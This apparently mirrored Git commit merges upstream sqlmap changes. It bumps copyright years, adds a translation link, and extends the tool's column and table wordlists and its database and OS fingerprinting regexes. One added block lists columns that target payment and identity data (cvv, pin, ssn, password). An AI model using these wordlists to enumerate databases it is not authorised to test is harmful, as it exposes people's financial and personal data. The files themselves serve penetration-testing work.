mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-07-27 08:30:10 +03:00
Merge pull request #1 from sqlmapproject/master
Bringing fork to update
This commit is contained in:
commit
0456f56917
2
LICENSE
2
LICENSE
|
@ -1,7 +1,7 @@
|
||||||
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
||||||
of the GNU General Public License (GPL) is appended to this file.
|
of the GNU General Public License (GPL) is appended to this file.
|
||||||
|
|
||||||
sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
||||||
|
|
||||||
This program is free software; you may redistribute and/or modify it under
|
This program is free software; you may redistribute and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|
|
@ -64,6 +64,7 @@ Translations
|
||||||
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
||||||
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
||||||
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
|
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
|
||||||
|
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
|
||||||
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
||||||
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
||||||
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
id
|
id
|
||||||
|
@ -474,6 +474,7 @@ module_addr
|
||||||
flag
|
flag
|
||||||
|
|
||||||
# spanish
|
# spanish
|
||||||
|
|
||||||
usuario
|
usuario
|
||||||
nombre
|
nombre
|
||||||
contrasena
|
contrasena
|
||||||
|
@ -486,6 +487,7 @@ tono
|
||||||
cuna
|
cuna
|
||||||
|
|
||||||
# german
|
# german
|
||||||
|
|
||||||
benutzername
|
benutzername
|
||||||
benutzer
|
benutzer
|
||||||
passwort
|
passwort
|
||||||
|
@ -499,6 +501,7 @@ stichwort
|
||||||
schlusselwort
|
schlusselwort
|
||||||
|
|
||||||
# french
|
# french
|
||||||
|
|
||||||
utilisateur
|
utilisateur
|
||||||
usager
|
usager
|
||||||
consommateur
|
consommateur
|
||||||
|
@ -510,6 +513,7 @@ touche
|
||||||
clef
|
clef
|
||||||
|
|
||||||
# italian
|
# italian
|
||||||
|
|
||||||
utente
|
utente
|
||||||
nome
|
nome
|
||||||
utilizzatore
|
utilizzatore
|
||||||
|
@ -521,17 +525,33 @@ chiavetta
|
||||||
cifrario
|
cifrario
|
||||||
|
|
||||||
# portuguese
|
# portuguese
|
||||||
|
|
||||||
usufrutuario
|
usufrutuario
|
||||||
chave
|
chave
|
||||||
cavilha
|
cavilha
|
||||||
|
|
||||||
# slavic
|
# slavic
|
||||||
|
|
||||||
korisnik
|
korisnik
|
||||||
sifra
|
sifra
|
||||||
lozinka
|
lozinka
|
||||||
kljuc
|
kljuc
|
||||||
|
|
||||||
# turkish
|
# turkish
|
||||||
|
|
||||||
|
isim
|
||||||
|
ad
|
||||||
|
adi
|
||||||
|
soyisim
|
||||||
|
soyad
|
||||||
|
soyadi
|
||||||
|
kimlik
|
||||||
|
kimlikno
|
||||||
|
tckimlikno
|
||||||
|
tckimlik
|
||||||
|
yonetici
|
||||||
|
sil
|
||||||
|
silinmis
|
||||||
numara
|
numara
|
||||||
sira
|
sira
|
||||||
lokasyon
|
lokasyon
|
||||||
|
@ -547,7 +567,9 @@ ev_adres
|
||||||
is_adresi
|
is_adresi
|
||||||
ev_adresi
|
ev_adresi
|
||||||
isadresi
|
isadresi
|
||||||
|
isadres
|
||||||
evadresi
|
evadresi
|
||||||
|
evadres
|
||||||
il
|
il
|
||||||
ilce
|
ilce
|
||||||
eposta
|
eposta
|
||||||
|
@ -605,6 +627,7 @@ kontak
|
||||||
kontaklar
|
kontaklar
|
||||||
|
|
||||||
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
|
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
|
||||||
|
|
||||||
user
|
user
|
||||||
pass
|
pass
|
||||||
cc_number
|
cc_number
|
||||||
|
@ -828,6 +851,7 @@ xar_name
|
||||||
xar_pass
|
xar_pass
|
||||||
|
|
||||||
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
|
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
|
||||||
|
|
||||||
account
|
account
|
||||||
accnts
|
accnts
|
||||||
accnt
|
accnt
|
||||||
|
@ -897,6 +921,7 @@ user_pwd
|
||||||
user_passwd
|
user_passwd
|
||||||
|
|
||||||
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
|
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
|
||||||
|
|
||||||
fld_id
|
fld_id
|
||||||
fld_username
|
fld_username
|
||||||
fld_password
|
fld_password
|
||||||
|
@ -1049,6 +1074,7 @@ yhmm
|
||||||
yonghu
|
yonghu
|
||||||
|
|
||||||
# site:br
|
# site:br
|
||||||
|
|
||||||
content_id
|
content_id
|
||||||
codigo
|
codigo
|
||||||
geometry
|
geometry
|
||||||
|
@ -1305,6 +1331,7 @@ newssummaryauthor
|
||||||
and_xevento
|
and_xevento
|
||||||
|
|
||||||
# site:de
|
# site:de
|
||||||
|
|
||||||
rolle_nr
|
rolle_nr
|
||||||
standort_nr
|
standort_nr
|
||||||
ja
|
ja
|
||||||
|
@ -1467,6 +1494,7 @@ summary_id
|
||||||
gameid
|
gameid
|
||||||
|
|
||||||
# site:es
|
# site:es
|
||||||
|
|
||||||
catid
|
catid
|
||||||
dni
|
dni
|
||||||
prune_id
|
prune_id
|
||||||
|
@ -1556,6 +1584,7 @@ time_stamp
|
||||||
bannerid
|
bannerid
|
||||||
|
|
||||||
# site:fr
|
# site:fr
|
||||||
|
|
||||||
numero
|
numero
|
||||||
id_auteur
|
id_auteur
|
||||||
titre
|
titre
|
||||||
|
@ -1607,6 +1636,7 @@ n_dir
|
||||||
age
|
age
|
||||||
|
|
||||||
# site:ru
|
# site:ru
|
||||||
|
|
||||||
dt_id
|
dt_id
|
||||||
subdivision_id
|
subdivision_id
|
||||||
sub_class_id
|
sub_class_id
|
||||||
|
@ -1812,6 +1842,7 @@ language_id
|
||||||
val
|
val
|
||||||
|
|
||||||
# site:jp
|
# site:jp
|
||||||
|
|
||||||
dealer_id
|
dealer_id
|
||||||
modify_date
|
modify_date
|
||||||
regist_date
|
regist_date
|
||||||
|
@ -1943,6 +1974,7 @@ c_commu_topic_id
|
||||||
c_diary_comment_log_id
|
c_diary_comment_log_id
|
||||||
|
|
||||||
# site:it
|
# site:it
|
||||||
|
|
||||||
idcomune
|
idcomune
|
||||||
idruolo
|
idruolo
|
||||||
idtrattamento
|
idtrattamento
|
||||||
|
@ -2446,6 +2478,7 @@ client_img
|
||||||
does_repeat
|
does_repeat
|
||||||
|
|
||||||
# site:cn
|
# site:cn
|
||||||
|
|
||||||
typeid
|
typeid
|
||||||
cronid
|
cronid
|
||||||
advid
|
advid
|
||||||
|
@ -2621,6 +2654,7 @@ disablepostctrl
|
||||||
fieldname
|
fieldname
|
||||||
|
|
||||||
# site:id
|
# site:id
|
||||||
|
|
||||||
ajar
|
ajar
|
||||||
akses
|
akses
|
||||||
aktif
|
aktif
|
||||||
|
@ -2672,9 +2706,23 @@ urut
|
||||||
waktu
|
waktu
|
||||||
|
|
||||||
# WebGoat
|
# WebGoat
|
||||||
|
|
||||||
cookie
|
cookie
|
||||||
login_count
|
login_count
|
||||||
|
|
||||||
|
# https://sqlwiki.netspi.com/attackQueries/dataTargeting/
|
||||||
|
|
||||||
|
credit
|
||||||
|
card
|
||||||
|
pin
|
||||||
|
cvv
|
||||||
|
pan
|
||||||
|
password
|
||||||
|
social
|
||||||
|
ssn
|
||||||
|
account
|
||||||
|
confidential
|
||||||
|
|
||||||
# Misc
|
# Misc
|
||||||
|
|
||||||
u_pass
|
u_pass
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
|
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
[Banners]
|
[Banners]
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
users
|
users
|
||||||
|
@ -1618,6 +1618,7 @@ Contributor
|
||||||
flag
|
flag
|
||||||
|
|
||||||
# Various Joomla tables
|
# Various Joomla tables
|
||||||
|
|
||||||
jos_vm_product_download
|
jos_vm_product_download
|
||||||
jos_vm_coupons
|
jos_vm_coupons
|
||||||
jos_vm_product_reviews
|
jos_vm_product_reviews
|
||||||
|
@ -1711,6 +1712,7 @@ publicusers
|
||||||
cmsusers
|
cmsusers
|
||||||
|
|
||||||
# List provided by Anastasios Monachos (anastasiosm@gmail.com)
|
# List provided by Anastasios Monachos (anastasiosm@gmail.com)
|
||||||
|
|
||||||
blacklist
|
blacklist
|
||||||
cost
|
cost
|
||||||
moves
|
moves
|
||||||
|
@ -1762,6 +1764,7 @@ TBLCORPUSERS
|
||||||
TBLCORPORATEUSERS
|
TBLCORPORATEUSERS
|
||||||
|
|
||||||
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
|
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
|
||||||
|
|
||||||
tbladmins
|
tbladmins
|
||||||
sort
|
sort
|
||||||
_wfspro_admin
|
_wfspro_admin
|
||||||
|
@ -2048,6 +2051,7 @@ Login
|
||||||
Logins
|
Logins
|
||||||
|
|
||||||
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
|
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
|
||||||
|
|
||||||
account
|
account
|
||||||
accnts
|
accnts
|
||||||
accnt
|
accnt
|
||||||
|
@ -2117,6 +2121,7 @@ user_pwd
|
||||||
user_passwd
|
user_passwd
|
||||||
|
|
||||||
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
|
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
|
||||||
|
|
||||||
wsop
|
wsop
|
||||||
Admin
|
Admin
|
||||||
Config
|
Config
|
||||||
|
@ -2437,9 +2442,11 @@ Affichage1name
|
||||||
sb_host_adminAffichage1name
|
sb_host_adminAffichage1name
|
||||||
|
|
||||||
# site:jp
|
# site:jp
|
||||||
|
|
||||||
TypesTab
|
TypesTab
|
||||||
|
|
||||||
# site:it
|
# site:it
|
||||||
|
|
||||||
utenti
|
utenti
|
||||||
categorie
|
categorie
|
||||||
attivita
|
attivita
|
||||||
|
@ -2581,6 +2588,7 @@ oil_stats_agents
|
||||||
SGA_XPLAN_TPL_DBA_INDEXES
|
SGA_XPLAN_TPL_DBA_INDEXES
|
||||||
|
|
||||||
# site:fr
|
# site:fr
|
||||||
|
|
||||||
Avion
|
Avion
|
||||||
departement
|
departement
|
||||||
Compagnie
|
Compagnie
|
||||||
|
@ -2751,6 +2759,7 @@ spip_ortho_dico
|
||||||
spip_caches
|
spip_caches
|
||||||
|
|
||||||
# site:ru
|
# site:ru
|
||||||
|
|
||||||
guestbook
|
guestbook
|
||||||
binn_forum_settings
|
binn_forum_settings
|
||||||
binn_forms_templ
|
binn_forms_templ
|
||||||
|
@ -2848,6 +2857,7 @@ binn_path_temps
|
||||||
order_item
|
order_item
|
||||||
|
|
||||||
# site:de
|
# site:de
|
||||||
|
|
||||||
tt_content
|
tt_content
|
||||||
kunde
|
kunde
|
||||||
medien
|
medien
|
||||||
|
@ -3010,6 +3020,7 @@ wp_categories
|
||||||
chessmessages
|
chessmessages
|
||||||
|
|
||||||
# site:br
|
# site:br
|
||||||
|
|
||||||
endereco
|
endereco
|
||||||
pessoa
|
pessoa
|
||||||
usuarios
|
usuarios
|
||||||
|
@ -3172,6 +3183,7 @@ LT_CUSTOM2
|
||||||
LT_CUSTOM3
|
LT_CUSTOM3
|
||||||
|
|
||||||
# site:es
|
# site:es
|
||||||
|
|
||||||
jos_respuestas
|
jos_respuestas
|
||||||
DEPARTAMENTO
|
DEPARTAMENTO
|
||||||
EMPLEADO
|
EMPLEADO
|
||||||
|
@ -3210,6 +3222,7 @@ grupo
|
||||||
facturas
|
facturas
|
||||||
|
|
||||||
# site:cn
|
# site:cn
|
||||||
|
|
||||||
url
|
url
|
||||||
cdb_adminactions
|
cdb_adminactions
|
||||||
BlockInfo
|
BlockInfo
|
||||||
|
@ -3355,6 +3368,7 @@ mymps_mail_sendlist
|
||||||
mymps_navurl
|
mymps_navurl
|
||||||
|
|
||||||
# site:tr
|
# site:tr
|
||||||
|
|
||||||
kullanici
|
kullanici
|
||||||
kullanicilar
|
kullanicilar
|
||||||
yonetici
|
yonetici
|
||||||
|
@ -3401,6 +3415,7 @@ kontak
|
||||||
kontaklar
|
kontaklar
|
||||||
|
|
||||||
# List provided by Pedrito Perez (0ark1ang3l@gmail.com)
|
# List provided by Pedrito Perez (0ark1ang3l@gmail.com)
|
||||||
|
|
||||||
adminstbl
|
adminstbl
|
||||||
admintbl
|
admintbl
|
||||||
affiliateUsers
|
affiliateUsers
|
||||||
|
@ -3415,4 +3430,69 @@ userstbl
|
||||||
usertbl
|
usertbl
|
||||||
|
|
||||||
# WebGoat
|
# WebGoat
|
||||||
|
|
||||||
user_data
|
user_data
|
||||||
|
|
||||||
|
# https://laurent22.github.io/so-injections/
|
||||||
|
|
||||||
|
accounts
|
||||||
|
admin
|
||||||
|
baza_site
|
||||||
|
benutzer
|
||||||
|
category
|
||||||
|
comments
|
||||||
|
company
|
||||||
|
credentials
|
||||||
|
Customer
|
||||||
|
customers
|
||||||
|
data
|
||||||
|
details
|
||||||
|
dhruv_users
|
||||||
|
dt_tb
|
||||||
|
employees
|
||||||
|
events
|
||||||
|
forsale
|
||||||
|
friends
|
||||||
|
giorni
|
||||||
|
images
|
||||||
|
info
|
||||||
|
items
|
||||||
|
kontabankowe
|
||||||
|
login
|
||||||
|
logs
|
||||||
|
markers
|
||||||
|
members
|
||||||
|
messages
|
||||||
|
orders
|
||||||
|
order_table
|
||||||
|
photos
|
||||||
|
player
|
||||||
|
players
|
||||||
|
points
|
||||||
|
register
|
||||||
|
reports
|
||||||
|
rooms
|
||||||
|
shells
|
||||||
|
signup
|
||||||
|
songs
|
||||||
|
student
|
||||||
|
students
|
||||||
|
table
|
||||||
|
table2
|
||||||
|
tbl_images
|
||||||
|
tblproduct
|
||||||
|
testv2
|
||||||
|
tickets
|
||||||
|
topicinfo
|
||||||
|
trabajo
|
||||||
|
user
|
||||||
|
user_auth
|
||||||
|
userinfo
|
||||||
|
user_info
|
||||||
|
userregister
|
||||||
|
users
|
||||||
|
usuarios
|
||||||
|
utenti
|
||||||
|
wm_products
|
||||||
|
wp_payout_history
|
||||||
|
zamowienia
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
|
# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml)
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Opera
|
# Opera
|
||||||
|
|
|
@ -83,6 +83,10 @@
|
||||||
<info type="Linux"/>
|
<info type="Linux"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bArch\b">
|
||||||
|
<info type="Linux" distrib="Arch"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<regexp value="CentOS">
|
<regexp value="CentOS">
|
||||||
<info type="Linux" distrib="CentOS"/>
|
<info type="Linux" distrib="CentOS"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
@ -115,10 +119,22 @@
|
||||||
<info type="Linux" distrib="Mandrake"/>
|
<info type="Linux" distrib="Mandrake"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="Manjaro">
|
||||||
|
<info type="Linux" distrib="Manjaro"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Mandriva">
|
<regexp value="Mandriva">
|
||||||
<info type="Linux" distrib="Mandriva"/>
|
<info type="Linux" distrib="Mandriva"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bMint\b">
|
||||||
|
<info type="Linux" distrib="Mint"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
|
<regexp value="\bPuppy\b">
|
||||||
|
<info type="Linux" distrib="Puppy"/>
|
||||||
|
</regexp>
|
||||||
|
|
||||||
<regexp value="Red[\-\_\ ]?Hat">
|
<regexp value="Red[\-\_\ ]?Hat">
|
||||||
<info type="Linux" distrib="Red Hat"/>
|
<info type="Linux" distrib="Red Hat"/>
|
||||||
</regexp>
|
</regexp>
|
||||||
|
|
|
@ -1,13 +1,14 @@
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
|
||||||
<root>
|
<root>
|
||||||
<!-- MySQL -->
|
|
||||||
<dbms value="MySQL">
|
<dbms value="MySQL">
|
||||||
<error regexp="SQL syntax.*?MySQL"/>
|
<error regexp="SQL syntax.*?MySQL"/>
|
||||||
<error regexp="Warning.*?\Wmysqli?_"/>
|
<error regexp="Warning.*?\Wmysqli?_"/>
|
||||||
<error regexp="MySQLSyntaxErrorException"/>
|
<error regexp="MySQLSyntaxErrorException"/>
|
||||||
<error regexp="valid MySQL result"/>
|
<error regexp="valid MySQL result"/>
|
||||||
<error regexp="check the manual that (corresponds to|fits) your (MySQL|MariaDB) server version"/>
|
<error regexp="check the manual that (corresponds to|fits) your MySQL server version"/>
|
||||||
|
<error regexp="check the manual that (corresponds to|fits) your MariaDB server version" fork="MariaDB"/>
|
||||||
|
<error regexp="check the manual that (corresponds to|fits) your Drizzle server version" fork="Drizzle"/>
|
||||||
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
|
||||||
<error regexp="MySqlClient\."/>
|
<error regexp="MySqlClient\."/>
|
||||||
<error regexp="com\.mysql\.jdbc"/>
|
<error regexp="com\.mysql\.jdbc"/>
|
||||||
|
@ -15,9 +16,11 @@
|
||||||
<error regexp="Pdo[./_\\]Mysql"/>
|
<error regexp="Pdo[./_\\]Mysql"/>
|
||||||
<error regexp="MySqlException"/>
|
<error regexp="MySqlException"/>
|
||||||
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
|
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
|
||||||
|
<error regexp="MemSQL does not support this type of query" fork="MemSQL"/>
|
||||||
|
<error regexp="is not supported by MemSQL" fork="MemSQL"/>
|
||||||
|
<error regexp="unsupported nested scalar subselect" fork="MemSQL"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- PostgreSQL -->
|
|
||||||
<dbms value="PostgreSQL">
|
<dbms value="PostgreSQL">
|
||||||
<error regexp="PostgreSQL.*?ERROR"/>
|
<error regexp="PostgreSQL.*?ERROR"/>
|
||||||
<error regexp="Warning.*?\Wpg_"/>
|
<error regexp="Warning.*?\Wpg_"/>
|
||||||
|
@ -33,7 +36,6 @@
|
||||||
<error regexp="PSQLException"/>
|
<error regexp="PSQLException"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Microsoft SQL Server -->
|
|
||||||
<dbms value="Microsoft SQL Server">
|
<dbms value="Microsoft SQL Server">
|
||||||
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
|
<error regexp="Driver.*? SQL[\-\_\ ]*Server"/>
|
||||||
<error regexp="OLE DB.*? SQL Server"/>
|
<error regexp="OLE DB.*? SQL Server"/>
|
||||||
|
@ -55,7 +57,6 @@
|
||||||
<error regexp="SQL(Srv|Server)Exception"/>
|
<error regexp="SQL(Srv|Server)Exception"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Microsoft Access -->
|
|
||||||
<dbms value="Microsoft Access">
|
<dbms value="Microsoft Access">
|
||||||
<error regexp="Microsoft Access (\d+ )?Driver"/>
|
<error regexp="Microsoft Access (\d+ )?Driver"/>
|
||||||
<error regexp="JET Database Engine"/>
|
<error regexp="JET Database Engine"/>
|
||||||
|
@ -64,7 +65,6 @@
|
||||||
<error regexp="Syntax error \(missing operator\) in query expression"/>
|
<error regexp="Syntax error \(missing operator\) in query expression"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Oracle -->
|
|
||||||
<dbms value="Oracle">
|
<dbms value="Oracle">
|
||||||
<error regexp="\bORA-\d{5}"/>
|
<error regexp="\bORA-\d{5}"/>
|
||||||
<error regexp="Oracle error"/>
|
<error regexp="Oracle error"/>
|
||||||
|
@ -79,7 +79,6 @@
|
||||||
<error regexp="OracleException"/>
|
<error regexp="OracleException"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- IBM DB2 -->
|
|
||||||
<dbms value="IBM DB2">
|
<dbms value="IBM DB2">
|
||||||
<error regexp="CLI Driver.*?DB2"/>
|
<error regexp="CLI Driver.*?DB2"/>
|
||||||
<error regexp="DB2 SQL error"/>
|
<error regexp="DB2 SQL error"/>
|
||||||
|
@ -91,7 +90,6 @@
|
||||||
<error regexp="DB2Exception"/>
|
<error regexp="DB2Exception"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Informix -->
|
|
||||||
<dbms value="Informix">
|
<dbms value="Informix">
|
||||||
<error regexp="Warning.*?\Wifx_"/>
|
<error regexp="Warning.*?\Wifx_"/>
|
||||||
<error regexp="Exception.*?Informix"/>
|
<error regexp="Exception.*?Informix"/>
|
||||||
|
@ -111,7 +109,6 @@
|
||||||
<error regexp="Pdo[./_\\]Firebird"/>
|
<error regexp="Pdo[./_\\]Firebird"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- SQLite -->
|
|
||||||
<dbms value="SQLite">
|
<dbms value="SQLite">
|
||||||
<error regexp="SQLite/JDBCDriver"/>
|
<error regexp="SQLite/JDBCDriver"/>
|
||||||
<error regexp="SQLite\.Exception"/>
|
<error regexp="SQLite\.Exception"/>
|
||||||
|
@ -126,15 +123,14 @@
|
||||||
<error regexp="SQLiteException"/>
|
<error regexp="SQLiteException"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- SAP MaxDB -->
|
|
||||||
<dbms value="SAP MaxDB">
|
<dbms value="SAP MaxDB">
|
||||||
<error regexp="SQL error.*?POS([0-9]+)"/>
|
<error regexp="SQL error.*?POS([0-9]+)"/>
|
||||||
<error regexp="Warning.*?\Wmaxdb_"/>
|
<error regexp="Warning.*?\Wmaxdb_"/>
|
||||||
<error regexp="DriverSapDB"/>
|
<error regexp="DriverSapDB"/>
|
||||||
|
<error regexp="-3014.*?Invalid end of SQL statement"/>
|
||||||
<error regexp="com\.sap\.dbtech\.jdbc"/>
|
<error regexp="com\.sap\.dbtech\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Sybase -->
|
|
||||||
<dbms value="Sybase">
|
<dbms value="Sybase">
|
||||||
<error regexp="Warning.*?\Wsybase_"/>
|
<error regexp="Warning.*?\Wsybase_"/>
|
||||||
<error regexp="Sybase message"/>
|
<error regexp="Sybase message"/>
|
||||||
|
@ -144,7 +140,6 @@
|
||||||
<error regexp="com\.sybase\.jdbc"/>
|
<error regexp="com\.sybase\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Ingres -->
|
|
||||||
<dbms value="Ingres">
|
<dbms value="Ingres">
|
||||||
<error regexp="Warning.*?\Wingres_"/>
|
<error regexp="Warning.*?\Wingres_"/>
|
||||||
<error regexp="Ingres SQLSTATE"/>
|
<error regexp="Ingres SQLSTATE"/>
|
||||||
|
@ -152,21 +147,63 @@
|
||||||
<error regexp="com\.ingres\.gcf\.jdbc"/>
|
<error regexp="com\.ingres\.gcf\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- Frontbase -->
|
|
||||||
<dbms value="Frontbase">
|
<dbms value="Frontbase">
|
||||||
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
|
<error regexp="Exception (condition )?\d+\. Transaction rollback"/>
|
||||||
<error regexp="com\.frontbase\.jdbc"/>
|
<error regexp="com\.frontbase\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- HSQLDB -->
|
|
||||||
<dbms value="HSQLDB">
|
<dbms value="HSQLDB">
|
||||||
<error regexp="Unexpected end of command in statement \["/>
|
<error regexp="Unexpected end of command in statement \["/>
|
||||||
<error regexp="Unexpected token.*?in statement \["/>
|
<error regexp="Unexpected token.*?in statement \["/>
|
||||||
<error regexp="org\.hsqldb\.jdbc"/>
|
<error regexp="org\.hsqldb\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
<!-- H2 -->
|
|
||||||
<dbms value="H2">
|
<dbms value="H2">
|
||||||
<error regexp="org\.h2\.jdbc"/>
|
<error regexp="org\.h2\.jdbc"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="MonetDB">
|
||||||
|
<error regexp="![0-9]{5}![^\n]+(failed|unexpected|error|syntax|expected|violation|exception)"/>
|
||||||
|
<error regexp="\[MonetDB\]\[ODBC Driver"/>
|
||||||
|
<error regexp="nl\.cwi\.monetdb\.jdbc"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Apache Derby">
|
||||||
|
<error regexp="Syntax error: Encountered"/>
|
||||||
|
<error regexp="org\.apache\.derby"/>
|
||||||
|
<error regexp="ERROR 42X01"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Vertica">
|
||||||
|
<error regexp=", Sqlstate: (3F|42).{3}, (Routine|Hint|Position):"/>
|
||||||
|
<error regexp="/vertica/Parser/scan"/>
|
||||||
|
<error regexp="com\.vertica\.jdbc"/>
|
||||||
|
<error regexp="org\.jkiss\.dbeaver\.ext\.vertica"/>
|
||||||
|
<error regexp="com\.vertica\.dsi\.dataengine"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Mckoi">
|
||||||
|
<error regexp="com\.mckoi\.JDBCDriver"/>
|
||||||
|
<error regexp="com\.mckoi\.database\.jdbc"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Presto">
|
||||||
|
<error regexp="com\.facebook\.presto\.jdbc"/>
|
||||||
|
<error regexp="io\.prestosql\.jdbc"/>
|
||||||
|
<error regexp="com\.simba\.presto\.jdbc"/>
|
||||||
|
<error regexp="UNION query has different number of fields: \d+, \d+"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Altibase">
|
||||||
|
<error regexp="Altibase\.jdbc\.driver"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="MimerSQL">
|
||||||
|
<error regexp="com\.mimer\.jdbc"/>
|
||||||
|
<error regexp="Syntax error,[^\n]+assumed to mean"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
